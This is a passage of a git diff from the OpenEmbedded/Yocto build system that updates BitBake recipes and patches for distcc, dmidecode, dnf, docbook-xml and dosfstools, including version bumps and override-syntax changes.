+SYSTEMD_SERVICE:${PN}-server = "distcc.service"
+
+do_install() {
+ # Improve reproducibility: compress w/o timestamps
+ oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
+ install -d ${D}${sysconfdir}/init.d/
+ install -d ${D}${sysconfdir}/default
+ install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_system_unitdir}/distcc.service
+}
+
+FILES:${PN}-server = "${sysconfdir} \
+ ${bindir}/distccd \
+ ${sbindir}"
+FILES:${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
+ ${datadir}/applications \
+ ${datadir}/pixmaps"
+
+#
+# distcc upstream dropped the 3.2 branch which we reference in older project releases
+# the revisions are there, just the branch is not. In order to be able to continue
+# to build those old releases, adjust any mirror tarball to contain the missing branch
+#
+fixup_distcc_mirror_tarball () {
+ TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
+ if [ -f $TBALL ]; then
+ TDIR=`mktemp -d`
+ cd $TDIR
+ tar -xzf $TBALL
+ set +e
+ git rev-parse --verify 3.2
+ if [ "$?" != "0" ]; then
+ git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
+ tar -czf $TBALL *
+ fi
+ set -e
+ rm -rf $TDIR/*
+ fi
+}
+do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/files/fix-gnome.patch b/meta/recipes-devtools/distcc/files/fix-gnome.patch
deleted file mode 100644
index f1f5ed1a9f..0000000000
--- a/meta/recipes-devtools/distcc/files/fix-gnome.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/319]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 2faacc2be8d7eeee0a3f66d88fedd1d3ab11070e Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Micha=C5=82=20G=C3=B3rny?= <mgorny@gentoo.org>
-Date: Sat, 8 Dec 2018 12:50:07 +0100
-Subject: [PATCH] Fix desktop spec compliance of distccmon-gnome install
-
-Update the .desktop file and install rules for distccmon-gnome to
-conform to the freedesktop.org specifications. More specifically:
-
-- update to version 1.0 of the spec
-- remove obsolete 'Encoding' key
-- remove obsolete 'Application' category and add recommended 'GTK'
-- install icon file to the correct directory
-- strip suffix from desktop file (specifying it is deprecated)
-- while at it, remove redundant '-icon' from the filename
-- install desktop file to the correct directory
----
- Makefile.in | 18 ++++++++++--------
- gnome/distccmon-gnome.desktop | 7 +++----
- ...mon-gnome-icon.png => distccmon-gnome.png} | Bin
- src/mon-gnome.c | 2 +-
- 4 files changed, 14 insertions(+), 13 deletions(-)
- rename gnome/{distccmon-gnome-icon.png => distccmon-gnome.png} (100%)
-
-diff --git a/Makefile.in b/Makefile.in
-index 6e1e467..1106559 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -52,13 +52,14 @@ mandir = @mandir@
- includedir = @includedir@
- oldincludedir = /usr/include
- docdir = @docdir@
--pkgdatadir = $(datadir)/@PACKAGE_NAME@
-+icondir = $(datarootdir)/pixmaps
-+desktopdir = $(datarootdir)/applications
-
- include_server_builddir = $(builddir)/_include_server
-
- # These must be done from here, not from autoconf, because they can
- # contain variable expansions written in Make syntax. Ew.
--DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DPKGDATADIR="\"${pkgdatadir}\""
-+DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DICONDIR="\"${icondir}\""
-
- # arguments to pkgconfig
- GNOME_PACKAGES = @GNOME_PACKAGES@
-@@ -387,7 +388,7 @@ man_HTML = man/distcc_1.html man/distccd_1.html man/distccmon_text_1.html \
- man/lsdistcc_1.html man/pump_1.html man/include_server_1.html
- MEN = $(man1_MEN)
-
--gnome_data = gnome/distccmon-gnome-icon.png \
-+gnome_data = gnome/distccmon-gnome.png \
- gnome/distccmon-gnome.desktop
-
- popt_OBJS=popt/findme.o popt/popt.o popt/poptconfig.o \
-@@ -1033,7 +1034,8 @@ showpaths:
- @echo " programs $(DESTDIR)$(bindir)"
- @echo " sbin programs $(DESTDIR)$(sbindir)"
- @echo " system configuration $(DESTDIR)$(sysconfdir)"
-- @echo " shared data files $(DESTDIR)$(pkgdatadir)"
-+ @echo " icon file $(DESTDIR)$(icondir)"
-+ @echo " application file $(DESTDIR)$(desktopdir)"
-
-
- # install-sh can't handle multiple arguments, but we don't need any
-@@ -1129,10 +1131,10 @@ install-example: $(example_DOCS)
- done
-
- install-gnome-data: $(gnome_data)
-- $(mkinstalldirs) "$(DESTDIR)$(pkgdatadir)"
-- for p in $(gnome_data); do \
-- $(INSTALL_DATA) "$$p" "$(DESTDIR)$(pkgdatadir)" || exit 1; \
-- done
-+ $(mkinstalldirs) "$(DESTDIR)$(icondir)"
-+ $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
-diff --git a/gnome/distccmon-gnome.desktop b/gnome/distccmon-gnome.desktop
-index bd1fa26..7205f5e 100644
---- a/gnome/distccmon-gnome.desktop
-+++ b/gnome/distccmon-gnome.desktop
-@@ -1,6 +1,5 @@
- [Desktop Entry]
--Version=0.9.4
--Encoding=UTF-8
-+Version=1.0
- Exec=distccmon-gnome
- Name=distcc monitor
- Name[sv]=distcc övervakare
-@@ -8,9 +7,9 @@ GenericName=Distributed Compile Monitor
- GenericName[sv]=Distribuerad kompilerings-övervakare
- Comment=Graphical view of distributed compile tasks
- Comment[sv]=Grafisk vy av distribuerade kompileringsuppgifter
--Icon=distccmon-gnome-icon.png
-+Icon=distccmon-gnome
- TryExec=distccmon-gnome
- Terminal=false
- Type=Application
--Categories=GNOME;Application;Development;
-+Categories=GNOME;GTK;Development;
- StartupNotify=true
-diff --git a/gnome/distccmon-gnome-icon.png b/gnome/distccmon-gnome.png
-similarity index 100%
-rename from gnome/distccmon-gnome-icon.png
-rename to gnome/distccmon-gnome.png
-diff --git a/src/mon-gnome.c b/src/mon-gnome.c
-index 24681d0..bfc286d 100644
---- a/src/mon-gnome.c
-+++ b/src/mon-gnome.c
-@@ -599,7 +599,7 @@ static GtkWidget * dcc_gnome_make_mainwin (void)
-
- #if GTK_CHECK_VERSION(2,2,0)
- gtk_window_set_icon_from_file (GTK_WINDOW (mainwin),
-- PKGDATADIR "/distccmon-gnome-icon.png",
-+ ICONDIR "/distccmon-gnome.png",
- NULL);
- #endif
-
diff --git a/meta/recipes-devtools/distcc/files/separatebuilddir.patch b/meta/recipes-devtools/distcc/files/separatebuilddir.patch
deleted file mode 100644
index c8da9d51c3..0000000000
--- a/meta/recipes-devtools/distcc/files/separatebuilddir.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/363]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 469628ee8dc90c7162d1a850c0b179b7349f9cf3 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 17 Sep 2019 13:04:22 +0100
-Subject: [PATCH] Makefile.in: fix out-of-tree builds when the GNOME UI is
- enabled
-
-The install command doesn't use $(srcdir) so out-of-tree builds fail.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 123054f..b9ce974 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -1130,8 +1130,8 @@ install-example: $(example_DOCS)
- install-gnome-data: $(gnome_data)
- $(mkinstalldirs) "$(DESTDIR)$(icondir)"
- $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
---
-2.20.1
diff --git a/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch b/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch
index ce9d423104..d082459ca9 100644
--- a/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch
+++ b/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch
@@ -1,20 +1,21 @@
-From 00a3ace35d66e7ae60046e254a4d00f0f9c1abe2 Mon Sep 17 00:00:00 2001
+From 2c0437f47eaaf565aaccf0c0d150d5fc0fc734f5 Mon Sep 17 00:00:00 2001
From: OpenEmbedded <oe.patch@oe>
Date: Thu, 22 Nov 2018 12:05:04 +0000
Subject: [PATCH] Do not install to /usr/local
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Makefile b/Makefile
-index 77c9310..fc378fd 100644
+index 7aa729d..e079b18 100644
--- a/Makefile
+++ b/Makefile
-@@ -30,7 +30,7 @@ CFLAGS += -O2
- LDFLAGS =
+@@ -31,7 +31,7 @@ CFLAGS += -D_FILE_OFFSET_BITS=64
+ LDFLAGS ?=
DESTDIR =
-prefix = /usr/local
diff --git a/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb b/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb
deleted file mode 100644
index 63f4061cb7..0000000000
--- a/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "DMI (Desktop Management Interface) table related utilities"
-HOMEPAGE = "http://www.nongnu.org/dmidecode/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/dmidecode/${BP}.tar.xz \
- file://0001-Committing-changes-from-do_unpack_extra.patch \
- "
-
-COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm|powerpc|powerpc64).*-linux"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-# The upstream buildsystem uses 'docdir' as the path where it puts AUTHORS,
-# README, etc, but we don't want those in the root of our docdir.
-docdir .= "/${BPN}"
-
-do_install() {
- oe_runmake DESTDIR="${D}" install
-}
-
-SRC_URI[md5sum] = "9cc2e27e74ade740a25b1aaf0412461b"
-SRC_URI[sha256sum] = "077006fa2da0d06d6383728112f2edef9684e9c8da56752e97cd45a11f838edd"
-
diff --git a/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb b/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb
new file mode 100644
index 0000000000..23540b2703
--- /dev/null
+++ b/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb
@@ -0,0 +1,24 @@
+SUMMARY = "DMI (Desktop Management Interface) table related utilities"
+HOMEPAGE = "http://www.nongnu.org/dmidecode/"
+DESCRIPTION = "Dmidecode reports information about your system's hardware as described in your system BIOS according to the SMBIOS/DMI standard (see a sample output)."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/dmidecode/${BP}.tar.xz \
+ file://0001-Committing-changes-from-do_unpack_extra.patch \
+ "
+
+COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm|powerpc|powerpc64).*-linux"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+# The upstream buildsystem uses 'docdir' as the path where it puts AUTHORS,
+# README, etc, but we don't want those in the root of our docdir.
+docdir .= "/${BPN}"
+
+do_install() {
+ oe_runmake DESTDIR="${D}" install
+}
+
+SRC_URI[sha256sum] = "82c737a780614c38a783e8055340d295e332fb12c7f418b5d21a0797d3fb1455"
+
diff --git a/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch b/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch
new file mode 100644
index 0000000000..21b50dee01
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch
@@ -0,0 +1,29 @@
+From 5e07c16a506b19cbb107d5e99fca41d679b23b9a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 28 Apr 2020 15:55:00 +0200
+Subject: [PATCH] dnf: write the log lock to root
+
+Writing it to /var/log appears to be racing with installation
+of base-files, and if lock is created first, base-files
+will refuse to install (due to the target directory
+already existing, and base-files creating it as a symlink).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ dnf/logging.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/dnf/logging.py b/dnf/logging.py
+index bd660470..a9d808b1 100644
+--- a/dnf/logging.py
++++ b/dnf/logging.py
+@@ -94,7 +94,7 @@ class MultiprocessRotatingFileHandler(logging.handlers.RotatingFileHandler):
+ def __init__(self, filename, mode='a', maxBytes=0, backupCount=0, encoding=None, delay=False):
+ super(MultiprocessRotatingFileHandler, self).__init__(
+ filename, mode, maxBytes, backupCount, encoding, delay)
+- self.rotate_lock = dnf.lock.build_log_lock("/var/log/", True)
++ self.rotate_lock = dnf.lock.build_log_lock("/", True)
+
+ def emit(self, record):
+ while True:
diff --git a/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch b/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch
new file mode 100644
index 0000000000..448f6408bc
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch
@@ -0,0 +1,24 @@
+From 7e79b3b67fd5cecd7380e7e365fd88eca63b5bfa Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Wed, 11 Mar 2020 22:10:02 +0000
+Subject: [PATCH] set python path for completion_helper
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ dnf/cli/completion_helper.py.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/dnf/cli/completion_helper.py.in b/dnf/cli/completion_helper.py.in
+index 351226759..2835cd3b6 100644
+--- a/dnf/cli/completion_helper.py.in
++++ b/dnf/cli/completion_helper.py.in
+@@ -1,4 +1,4 @@
+-#!@PYTHON_EXECUTABLE@
++#!/usr/bin/env python3
+ #
+ # This file is part of dnf.
+ #
+--
+2.23.0
+
diff --git a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index 0ed9afc58d..5cffc9dce1 100644
--- a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,4 +1,4 @@
-From 6be13143a54c79085d400d5bd4c7a6e1cb6ffaf5 Mon Sep 17 00:00:00 2001
+From ceb1043c4f3de095e36908232320b74a4128a94e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:29:07 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
@@ -11,15 +11,15 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 38cf4fbf..6c5debd8 100644
+index 9e2e9e9e..2056089d 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -19,7 +19,7 @@ ELSE ()
MESSAGE (FATAL_ERROR "Invalid PYTHON_DESIRED value: " ${PYTHON_DESIRED})
ENDIF()
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
ADD_SUBDIRECTORY (dnf)
diff --git a/meta/recipes-devtools/dnf/dnf_4.11.1.bb b/meta/recipes-devtools/dnf/dnf_4.11.1.bb
new file mode 100644
index 0000000000..00eed0ce96
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf_4.11.1.bb
@@ -0,0 +1,90 @@
+SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
+DESCRIPTION = "Software package manager that installs, updates, and removes \
+packages on RPM-based Linux distributions. It automatically computes \
+dependencies and determines the actions required to install packages."
+HOMEPAGE = "https://github.com/rpm-software-management/dnf"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
+ "
+
+SRC_URI = "git://github.com/rpm-software-management/dnf.git;branch=master;protocol=https \
+ file://0001-Corretly-install-tmpfiles.d-configuration.patch \
+ file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
+ file://0005-Do-not-prepend-installroot-to-logdir.patch \
+ file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ file://0030-Run-python-scripts-using-env.patch \
+ file://0001-set-python-path-for-completion_helper.patch \
+ file://0001-dnf-write-the-log-lock-to-root.patch \
+ "
+
+SRCREV = "fba1e2ec93f3d045a874567fd7ecafd606346509"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake gettext bash-completion setuptools3-base systemd
+
+DEPENDS += "libdnf librepo libcomps python3-iniparse"
+
+# manpages generation requires http://www.sphinx-doc.org/
+EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ python3-core \
+ python3-codecs \
+ python3-netclient \
+ python3-email \
+ python3-threading \
+ python3-logging \
+ python3-fcntl \
+ librepo \
+ python3-shell \
+ libcomps \
+ libdnf \
+ python3-sqlite3 \
+ python3-compression \
+ python3-rpm \
+ python3-iniparse \
+ python3-json \
+ python3-curses \
+ python3-misc \
+ python3-gpg \
+ "
+
+RDEPENDS:${PN}:class-native = ""
+
+RRECOMMENDS:${PN}:class-target += "gnupg"
+
+# Create a symlink called 'dnf' as 'make install' does not do it, but
+# .spec file in dnf source tree does (and then Fedora and dnf documentation
+# says that dnf binary is plain 'dnf').
+do_install:append() {
+ ln -rs ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
+ ln -rs ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
+}
+
+# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+SYSTEMD_SERVICE:${PN} = "dnf-makecache.service dnf-makecache.timer \
+ dnf-automatic.service dnf-automatic.timer \
+ dnf-automatic-download.service dnf-automatic-download.timer \
+ dnf-automatic-install.service dnf-automatic-install.timer \
+ dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
+"
+SYSTEMD_AUTO_ENABLE ?= "disable"
+
+SKIP_RECIPE[dnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
diff --git a/meta/recipes-devtools/dnf/dnf_4.2.2.bb b/meta/recipes-devtools/dnf/dnf_4.2.2.bb
deleted file mode 100644
index f38167f1ad..0000000000
--- a/meta/recipes-devtools/dnf/dnf_4.2.2.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
-DESCRIPTION = "Software package manager that installs, updates, and removes \
-packages on RPM-based Linux distributions. It automatically computes \
-dependencies and determines the actions required to install packages."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
- "
-
-SRC_URI = "git://github.com/rpm-software-management/dnf.git \
- file://0001-Corretly-install-tmpfiles.d-configuration.patch \
- file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
- file://0005-Do-not-prepend-installroot-to-logdir.patch \
- file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- file://0030-Run-python-scripts-using-env.patch \
- "
-
-SRCREV = "9947306a55271b8b7c9e2b6e3b7d582885b6045d"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake gettext bash-completion distutils3-base systemd
-
-DEPENDS += "libdnf librepo libcomps python3-iniparse"
-
-# manpages generation requires http://www.sphinx-doc.org/
-EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN} += " \
- python3-core \
- python3-codecs \
- python3-netclient \
- python3-email \
- python3-threading \
- python3-distutils \
- python3-logging \
- python3-fcntl \
- librepo \
- python3-shell \
- libcomps \
- libdnf \
- python3-sqlite3 \
- python3-compression \
- python3-rpm \
- python3-iniparse \
- python3-json \
- python3-curses \
- python3-misc \
- python3-gpg \
- "
-
-RDEPENDS_${PN}_class-native = ""
-
-RRECOMMENDS_${PN}_class-target += "gnupg"
-
-# Create a symlink called 'dnf' as 'make install' does not do it, but
-# .spec file in dnf source tree does (and then Fedora and dnf documentation
-# says that dnf binary is plain 'dnf').
-do_install_append() {
- lnr ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
- lnr ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
-}
-
-# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-SYSTEMD_SERVICE_${PN} = "dnf-makecache.service dnf-makecache.timer \
- dnf-automatic.service dnf-automatic.timer \
- dnf-automatic-download.service dnf-automatic-download.timer \
- dnf-automatic-install.service dnf-automatic-install.timer \
- dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
-"
-SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
index 59703609ca..c1385631d7 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
@@ -2,7 +2,7 @@ docbook-xml: update catalog.xml
Refer Ubuntu 13.04 to update catalog.xml
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [docbook 4.x development has ceased, docbook 5 is entirely different]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
docbook-4.0/catalog.xml | 72 +++++++++++++++++++++++++++++++++++++++++++++++
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
index 6452c8d99f..2bec1442af 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
@@ -49,4 +49,4 @@ do_install () {
XMLCATALOGS = "${sysconfdir}/xml/docbook-xml.xml"
inherit xmlcatalog
-FILES_${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
+FILES:${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
index c5d3a24808..beda0abe95 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
@@ -42,9 +42,9 @@ do_install () {
install -v -m644 README RELEASE-NOTES* NEWS* ${D}${docdir}/${BPN}
}
-RDEPENDS_${PN} += "perl"
-FILES_${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
-FILES_${PN}-doc = "${datadir}/doc/*"
+RDEPENDS:${PN} += "perl"
+FILES:${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
+FILES:${PN}-doc = "${datadir}/doc/*"
XMLCATALOGS = "${datadir}/xml/docbook/xsl-stylesheets-${PV}/catalog.xml"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
deleted file mode 100644
index 69aa81af44..0000000000
--- a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-# dosfstools OE build file
-# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
-# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
-SUMMARY = "DOS FAT Filesystem Utilities"
-HOMEPAGE = "https://github.com/dosfstools/dosfstools"
-
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "https://github.com/dosfstools/dosfstools/releases/download/v${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "07a1050db1a898e9a2e03b0c4569c4bd"
-SRC_URI[sha256sum] = "e6b2aca70ccc3fe3687365009dd94a2e18e82b688ed4e260e04b7412471cc173"
-
-UPSTREAM_CHECK_URI = "https://github.com/dosfstools/dosfstools/releases"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--without-udev --enable-compat-symlinks"
-
-CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
new file mode 100644
index 0000000000..289d939bb9
--- /dev/null
+++ b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
@@ -0,0 +1,28 @@
+# dosfstools OE build file
+# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
+# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
+# Released under the MIT license (see packages/COPYING)
+SUMMARY = "DOS FAT Filesystem Utilities"
+HOMEPAGE = "https://github.com/dosfstools/dosfstools"
+
+SECTION = "base"
